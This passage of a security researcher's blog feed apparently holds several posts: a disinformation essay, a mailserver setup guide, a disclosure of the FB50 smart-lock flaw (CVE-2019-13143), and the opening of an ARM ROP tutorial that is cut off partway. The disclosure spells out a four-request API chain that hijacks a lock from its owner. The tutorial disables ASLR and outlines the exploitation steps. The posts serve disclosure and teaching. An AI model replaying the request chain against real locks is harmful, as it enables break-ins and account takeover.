1286easy to pick up. Learning the Cyrillic script will require some relearning, especially
1287with letters like в, н, р, с, etc. that look like English but sound entirely different.
1288I think I’m pretty serious about learning this language—I’ve added the Russian keyboard
1289to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code>
1290layout to my keyboard map too:</p>
1291
1292<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
1293</code></pre>
1294
1295<p>With that ends my weekly update, and I’ll see you next week!</p>
1296]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton.
1297According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
1298<em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция),
1299derived from the title of a KGB black propaganda department.</p>
1300
1301<blockquote>
1302 <p>Disinformation is false information spread deliberately to deceive.</p>
1303</blockquote>
1304
1305<p>To fully understand disinformation, especially in the modern age, we need to understand the
1306key factors of any successful disinformation operation:</p>
1307
1308<ul>
1309<li>creating disinformation (what)</li>
1310<li>the motivation behind the op, or its end goal (why)</li>
1311<li>the medium used to disperse the falsified information (how)</li>
1312<li>the actor (who)</li>
1313</ul>
1314
1315<p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
1316
1317<p>In order to break monotony, I will also be using the terms “information operation”, or the shortened
1318forms—"info op” & “disinfo”.</p>
1319
1320<h2 id="creating-disinformation">Creating disinformation</h2>
1321
1322<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
1323of any disinformation sample is a huge indicator of the level of sophistication of the
1324actor involved, i.e. is it a 12 year old troll or a nation state?</p>
1325
1326<p>Well crafted disinformation always has one primary characteristic — “plausibility”.
1327The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true.
1328To achieve this, the target — be it an individual, a specific demographic or an entire
1329nation — must be well researched. A deep understanding of the target’s culture, history,
1330geography and psychology is required. It also needs circumstantial and situational awareness,
1331of the target.</p>
1332
1333<p>There are many forms of disinformation. A few common ones are staged videos / photographs,
1334recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p>
1335
1336<p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
1337imagery:</p>
1338
1339<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
1340<p lang="en" dir="ltr">Disinformation.
1341<br><br>
1342The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
1343<br><br>Recontextualisation as threat vector.
1344<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
1345</p>— thaddeus e. grugq (@thegrugq)
1346<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
1347</blockquote>
1348
1349<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
1350
1351<h2 id="motivations-behind-an-information-operation">Motivations behind an information operation</h2>
1352
1353<p>I like to broadly categorize any info op as either proactive or reactive.
1354Proactively, disinformation is spread with the desire to influence the target
1355either before or during the occurence of an event. This is especially observed
1356during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
1357In offensive information operations, the target’s psychological state can be affected by
1358spreading <strong>fear, uncertainty & doubt</strong>, or FUD for short.</p>
1359
1360<p>Reactive disinformation is when the actor, usually a nation state in this case,
1361screws up and wants to cover their tracks. A fitting example of this is the case
1362of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over
1363eastern Ukraine. This tragic incident has been attributed to Russian-backed
1364separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>
1365Russian media is known to have desseminated a number of alternative & some even
1366conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT’s (Dutch-lead Joint
1367Investigation Team) investigations pointed towards the separatists.
1368The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
1369potentially correct information takes a credibility hit.</p>
1370
1371<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
1372in totalitarian regimes; when the government decides what the media portrays to the
1373masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
1374
1375<blockquote>
1376 <p>Official state media pin the blame for protests on the “black hand” of foreign interference,
1377 namely from the United States, and what they have called criminal Hong Kong thugs.
1378 A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,
1379 who are demanding an end to an extradition bill with China and the ability to elect their own leader.
1380 Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,
1381 this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
1382 …</p>
1383</blockquote>
1384
1385<h2 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h2>
1386
1387<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
1388play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s
1389popularity.</p>
1390
1391<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
1392generate activity programmatically via the API, Twitter bots are the go-to choice today for
1393info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots),
1394to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
1395get realtime insights into what sticks and what doesn’t.
1396The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
1397factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
1398to create discussions about alternative theories.</p>
1399
1400<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
1401actively invest in creating group chats to spread political messages and memes. These parties
1402have volunteers whose sole job is to sit and forward messages.
1403Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
1404this is disinformation without a motive, or the motive is hard to determine simply because
1405the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
1406This is a difficult problem to combat, especially given the nature of the target audience.</p>
1407
1408<h2 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h2>
1409
1410<p>I doubt this requires further elaboration, but in short:</p>
1411
1412<ul>
1413<li>nation states and their intelligence agencies</li>
1414<li>governments, political parties</li>
1415<li>other non/quasi-governmental groups</li>
1416<li>trolls</li>
1417</ul>
1418
1419<p>This essentially sums up the what, why, how and who of disinformation. </p>
1420
1421<h2 id="personal-opsec">Personal OPSEC</h2>
1422
1423<p>This is a fun one. Now, it’s common knowledge that
1424<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
1425afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
1426lead to your OPSEC being compromised.
1427So if you really have to, you can feign activity using disinformation. For example,
1428pick a place, and throw in subtle details pertaining to the weather, local events
1429or regional politics of that place into your disinfo. Assuming this is Twitter, you can
1430tweet stuff like:</p>
1431
1432<ul>
1433<li>“Ugh, when will this hot streak end?!”</li>
1434<li>“Traffic wonky because of the Mardi Gras parade.”</li>
1435<li>“Woah, XYZ place is nice! Especially the fountains by ABC street.”</li>
1436</ul>
1437
1438<p>Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.</p>
1439
1440<p>And please, don’t do this:</p>
1441
1442<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
1443
1444<h2 id="conclusion">Conclusion</h2>
1445
1446<p>The ability to influence someone’s decisions/thought process in just one tweet is
1447scary. There is no simple way to combat disinformation. Social media is hard to control.
1448Just like anything else in cyber, this too is an endless battle between social media corps
1449and motivated actors.</p>
1450
1451<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
1452folks see the truth in a post-truth world.</p>
1453
1454<div class="footnotes">
1455<hr />
1456<ol>
1457<li id="fn-1">
1458<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1459</li>
1460
1461<li id="fn-2">
1462<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>’s season one covers the MH17 investigation in detail. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1463</li>
1464
1465<li id="fn-3">
1466<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1467</li>
1468
1469<li id="fn-4">
1470<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a> <a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">↩</a></p>
1471</li>
1472
1473<li id="fn-5">
1474<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>. <a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">↩</a></p>
1475</li>
1476</ol>
1477</div>
1478]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I’d made an attempt at setting one up
1479around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
1480I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1481
1482<p>For this attempt, I wanted a simpler approach. I recall how terribly
1483confusing Dovecot & Postfix were to configure and hence I decided to look
1484for a containerized solution, that most importantly, runs on my cheap $5
1485Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB
1486is actually available. So yeah, <em>pretty</em> tight.</p>
1487
1488<h2 id="whats-available">What’s available</h2>
1489
1490<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
1491These are the ones I came across:</p>
1492
1493<ul>
1494<li><p><a href="https://poste.io">poste.io</a>: Based on an “open core” model. The base install is open source
1495and free (as in beer), but you’ll have to pay for the extra stuff.</p></li>
1496<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io,
1497but ships with a web UI that I didn’t need. </p></li>
1498<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
1499they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
1500<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
1501a mention. It however, needs a fresh box to work with. A box with absolutely
1502nothing else on it. I can’t afford to do that.</p></li>
1503<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
1504</ul>
1505
1506<h2 id="so-docker-mailserver">So… <code>docker-mailserver</code></h2>
1507
1508<p>The first thing that caught my eye in the README:</p>
1509
1510<blockquote>
1511 <p>Recommended:</p>
1512
1513 <ul>
1514 <li>1 CPU</li>
1515 <li>1GB RAM</li>
1516 </ul>
1517
1518 <p>Minimum:</p>
1519
1520 <ul>
1521 <li>1 CPU</li>
1522 <li>512MB RAM</li>
1523 </ul>
1524</blockquote>
1525
1526<p>Fantastic, I can somehow squeeze this into my existing VPS.
1527Setup was fairly simple & the docs are pretty good. It employs a single
1528<code>.env</code> file for configuration, which is great.
1529However, I did run into a couple of hiccups here and there.</p>
1530
1531<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
1532of memory.</p>
1533
1534<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
1535</code></pre>
1536
1537<p>But it eventually worked after a couple of attempts.</p>
1538
1539<p>The next thing I struggled with — DNS. Specifically, the with the step where
1540the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
1541<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
1542isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into
1543a <code>TXT</code> record. </p>
1544
1545<p>This is what it looks like.</p>
1546
1547<pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
1548 "p=<key>"
1549 "<more key>" ) ; ----- DKIM key mail for icyphox.sh
1550</code></pre>
1551
1552<p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>,
1553and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>.
1554Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
1555
1556<p>To simplify debugging DNS issues later, it’s probably a good idea to
1557point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an
1558<code>A</code> record.
1559You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider
1560uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>.
1561And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of
1562your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>.
1563I learnt this part the hard way, when my outgoing email kept getting
1564rejected by Tutanota’s servers.</p>
1565
1566<p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly
1567documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
1568and look at an example. In short, install <code>certbot</code>, have port 80 free,
1569and run </p>
1570
1571<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
1572</code></pre></div>
1573
1574<p>Once that’s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in
1575the container, something like so:</p>
1576
1577<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
1578
1579<span class="nt">volumes</span><span class="p">:</span>
1580 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
1581 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
1582 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
1583 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
1584
1585<span class="nn">...</span>
1586</code></pre></div>
1587
1588<p>With this done, you shouldn’t have mail clients complaining about
1589wonky certs for which you’ll have to add an exception manually.</p>
1590
1591<h2 id="why-would-you">Why would you…?</h2>
1592
1593<p>There are a few good reasons for this:</p>
1594
1595<h3 id="privacy">Privacy</h3>
1596
1597<p>No really, this is <em>the</em> best choice for truly private
1598email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t
1599dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
1600
1601<blockquote>
1602 <p>Truly secure systems do not require you to trust the service provider.</p>
1603</blockquote>
1604
1605<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
1606how can you really be sure that it isn’t a backdoored version of it?</p>
1607
1608<p>When you host your own mailserver, you truly own your email without having to rely on any
1609third-party.
1610This isn’t an attempt to spread FUD. In the end, it all depends on your
1611threat model™.</p>
1612
1613<h3 id="decentralization">Decentralization</h3>
1614
1615<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
1616active users. That’s obscene.
1617Email was designed to be decentralized but big corps swooped in and
1618made it a product. They now control your data, and it isn’t unknown that
1619Google reads your mail. This again loops back to my previous point, privacy.
1620Decentralization guarantees privacy. When you control your mail, you subsequently
1621control who reads it.</p>
1622
1623<h3 id="personalization">Personalization</h3>
1624
1625<p>Can’t ignore this one. It’s cool to have a custom email address to flex.</p>
1626
1627<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
1628
1629<p>Pfft, this is no competition.</p>
1630
1631<div class="footnotes">
1632<hr />
1633<ol>
1634<li id="fn-1">
1635<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1636</li>
1637
1638<li id="fn-2">
1639<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1640</li>
1641
1642<li id="fn-3">
1643<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn’t trust Signal. <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1644</li>
1645</ol>
1646</div>
1647]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p>
1648
1649<h2 id="the-lock">The lock</h2>
1650
1651<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
1652Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
1653across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
1654
1655<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
1656the Play/App Store to function. The app requires the user to create an
1657account before further functionality is available.
1658It also facilitates configuring the fingerprint,
1659and unlocking from a range via Bluetooth.</p>
1660
1661<p>We had two primary attack surfaces we decided to tackle—Bluetooth (BLE)
1662and the Android app.</p>
1663
1664<h2 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h2>
1665
1666<p>Android phones have the ability to capture Bluetooth (HCI) traffic
1667which can be enabled under Developer Options under Settings. We made
1668around 4 “unlocks” from the Android phone, as seen in the screenshot.</p>
1669
1670<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
1671
1672<p>This is the value sent in the <code>Write</code> request:</p>
1673
1674<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
1675
1676<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
1677but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1678
1679<h2 id="via-the-android-app">Via the Android app</h2>
1680
1681<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too
1682far since most of it was obfuscated. Why bother when there exists an
1683easier approach—BurpSuite.</p>
1684
1685<p>We captured and played around with a bunch of requests and responses,
1686and finally arrived at a working exploit chain.</p>
1687
1688<h2 id="the-exploit">The exploit</h2>
1689
1690<p>The entire exploit is a 4 step process consisting of authenticated
1691HTTP requests:</p>
1692
1693<ol>
1694<li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the
1695vicinity), get the barcode and lock ID</li>
1696<li>Using the barcode, fetch the user ID</li>
1697<li>Using the lock ID and user ID, unbind the user from the lock</li>
1698<li>Provide a new name, attacker’s user ID and the MAC to bind the attacker
1699to the lock</li>
1700</ol>
1701
1702<p>This is what it looks like, in essence (personal info redacted).</p>
1703
1704<h3 id="request-1">Request 1</h3>
1705
1706<pre><code>POST /oklock/lock/queryDevice
1707{"mac":"XX:XX:XX:XX:XX:XX"}
1708</code></pre>
1709
1710<p>Response:</p>
1711
1712<pre><code>{
1713 "result":{
1714 "alarm":0,
1715 "barcode":"<BARCODE>",
1716 "chipType":"1",
1717 "createAt":"2019-05-14 09:32:23.0",
1718 "deviceId":"",
1719 "electricity":"95",
1720 "firmwareVersion":"2.3",
1721 "gsmVersion":"",
1722 "id":<LOCK ID>,
1723 "isLock":0,
1724 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1725 "lockPwd":"000000",
1726 "mac":"XX:XX:XX:XX:XX:XX",
1727 "name":"lock",
1728 "radioName":"BlueFPL",
1729 "type":0
1730 },
1731 "status":"2000"
1732}
1733</code></pre>
1734
1735<h3 id="request-2">Request 2</h3>
1736
1737<pre><code>POST /oklock/lock/getDeviceInfo
1738
1739{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
1740</code></pre>
1741
1742<p>Response:</p>
1743
1744<pre><code> "result":{
1745 "account":"email@some.website",
1746 "alarm":0,
1747 "barcode":"<BARCODE>",
1748 "chipType":"1",
1749 "createAt":"2019-05-14 09:32:23.0",
1750 "deviceId":"",
1751 "electricity":"95",
1752 "firmwareVersion":"2.3",
1753 "gsmVersion":"",
1754 "id":<LOCK ID>,
1755 "isLock":0,
1756 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1757 "lockPwd":"000000",
1758 "mac":"XX:XX:XX:XX:XX:XX",
1759 "name":"lock",
1760 "radioName":"BlueFPL",
1761 "type":0,
1762 "userId":<USER ID>
1763 }
1764</code></pre>
1765
1766<h3 id="request-3">Request 3</h3>
1767
1768<pre><code>POST /oklock/lock/unbind
1769
1770{"lockId":"<LOCK ID>","userId":<USER ID>}
1771</code></pre>
1772
1773<h3 id="request-4">Request 4</h3>
1774
1775<pre><code>POST /oklock/lock/bind
1776
1777{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
1778</code></pre>
1779
1780<h2 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h2>
1781
1782<p>You should have the lock transferred to your account. The severity of this
1783issue lies in the fact that the original owner completely loses access to
1784their lock. They can’t even “rebind” to get it back, since the current owner
1785(the attacker) needs to authorize that. </p>
1786
1787<p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR.
1788Ilja, a cool dude I met on Telegram, noticed locks named “carlock”,
1789“garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
1790
1791<p><em>shudders</em></p>
1792
1793<h2 id="proof-of-concept">Proof of Concept</h2>
1794
1795<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
1796
1797<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
1798
1799<h2 id="disclosure-timeline">Disclosure timeline</h2>
1800
1801<ul>
1802<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
1803<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
1804<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
1805<li>No response from vendor</li>
1806<li><strong>2nd August 2019</strong>: Public disclosure</li>
1807</ul>
1808
1809<h2 id="lessons-learnt">Lessons learnt</h2>
1810
1811<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones
1812with keys. With the IoT plague spreading, it brings in a large attack surface
1813to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p>
1814
1815<p>The IoT security scene is rife with bugs from over 10 years ago, like
1816executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development
1817practices in general.</p>
1818
1819<p>Our existing threat models and scenarios have to be updated to factor
1820in these new exploitation possibilities. This also broadens the playing
1821field for cyber warfare and mass surveillance campaigns. </p>
1822
1823<h2 id="researcher-info">Researcher info</h2>
1824
1825<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
1826
1827<ul>
1828<li>Anirudh Oppiliappan (me)</li>
1829<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
1830<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
1831</ul>
1832
1833<div class="footnotes">
1834<hr />
1835<ol>
1836<li id="fn-1">
1837<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1838</li>
1839
1840<li id="fn-2">
1841<p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1842</li>
1843
1844<li id="fn-3">
1845<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1846</li>
1847</ol>
1848</div>
1849]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
1850assembly to follow along. I highly recommend
1851<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
1852Basics</a>. Once you’re
1853comfortable with it, proceed with the next bit—environment setup.</p>
1854
1855<h2 id="setup">Setup</h2>
1856
1857<p>Since we’re working with the ARM architecture, there are two options to go
1858forth with: </p>
1859
1860<ol>
1861<li>Emulate—head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
1862And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
1863The scripts found inside should be self-explanatory.</li>
1864<li>Use actual ARM hardware, like an RPi.</li>
1865</ol>
1866
1867<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
1868may use <code>radare2</code>, IDA or anything else, really. All of which can be
1869trivially installed.</p>
1870
1871<p>And for the sake of simplicity, disable ASLR:</p>
1872
1873<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
1874</code></pre></div>
1875
1876<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
1877<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
1878
1879<p>Compile it:</p>
1880
1881<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
1882</code></pre></div>
1883
1884<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
1885
1886<h2 id="a-primer-on-rop">A primer on ROP</h2>
1887
1888<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
1889used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
1890In essence, no code in the binary is actually modified and the entire exploit
1891is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
1892
1893<p>A gadget is essentially a small sequence of code (instructions), ending with
1894a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
1895code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
1896These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
1897to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
1898there’s generally a call to <code>system()</code>, to acheive code execution.</p>
1899
1900<p>In practice, the process of executing a ropchain is something like this:</p>
1901
1902<ul>
1903<li>confirm the existence of a stack-based buffer overflow</li>
1904<li>identify the offset at which the instruction pointer gets overwritten</li>
1905<li>locate the addresses of the gadgets you wish to use</li>
1906<li>craft your input keeping in mind the stack’s layout, and chain the addresses
1907of your gadgets</li>
1908</ul>
1909
1910<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
1911Check it out, it might be just what you needed for that “aha!” moment :)</p>
1912
1913<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
1914that should put things into perspective.</p>
1915
1916<h2 id="exploring-our-binary">Exploring our binary</h2>
1917
1918<p>Start by running it, and entering any arbitrary string. On entering a fairly
1919large string, say, “A” × 20, we
1920see a segmentation fault occur.</p>
1921
1922<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
1923
1924<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
1925
1926<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
1927
1928<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
1929<code>gadget</code>. Disassembling the <code>main</code> function:</p>
1930
1931<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
1932
1933<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
1934to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
1935never actually called.</p>
1936
1937<p>Disassembling the <code>gadget</code> function:</p>
1938
1939<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
1940
1941<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
1942which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
1943instruction in the middle. This is a <strong>gadget</strong>.</p>
1944
1945<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
1946arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
